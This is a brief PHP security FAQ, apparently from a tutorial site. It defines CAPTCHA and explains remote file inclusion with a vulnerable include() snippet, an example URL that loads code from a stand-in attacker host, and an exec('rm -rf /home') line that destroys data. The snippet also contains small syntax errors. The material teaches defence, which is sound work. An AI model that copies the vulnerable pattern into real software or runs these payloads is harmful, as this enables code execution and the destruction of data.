captcha in php

Question: What is captcha in php

Answer

Captcha is nothing but an image which contains numbers,characters with an distorted background

Acronym for captcha is

Completely Automated Public Turing test to tell Computers and Human Apart

Simply saying : It is a mechanism for protecting spams in an application.

How to escape from the remote file inclusion attack

Answer

1. All user inputs must be strictly validated

2. Use mod_secrity module

3. register globals must be turned off

4. open_basedir must be set to the document root . it should not be no value.

How remote file inclusion works

Answer

Consider you have the following code

$file=$_REQUEST['q'];

include($file. ".php";)

Your url may be like this http://example.com/?q=login

so the login.php file will be included as per your code

Now the attacker plans pass a url through the query string

See the below

http://example.com/?q=http://www.attackerswebsite.com/hackingcode.php

If the url is passed in the query string

Now your code is

include('http://www.attackerswebsite.com/hackingcode.php.php')

If the attacker has the file hackingcode.php.php means the remote file will be included.

If the attacker included his code in your server means he can do any thing.

see What will happen if a attacker includes his file in your server

What will happen if a attacker includes his file in your server

Answer

Anything can happen - even attacker can delete all your files and database.

It is very critical security issue.

For example consider an attacker includes the following line in your php file

exec("rm -rf /home ")

If the line executed in the server all the files inside the home directory may be deleted.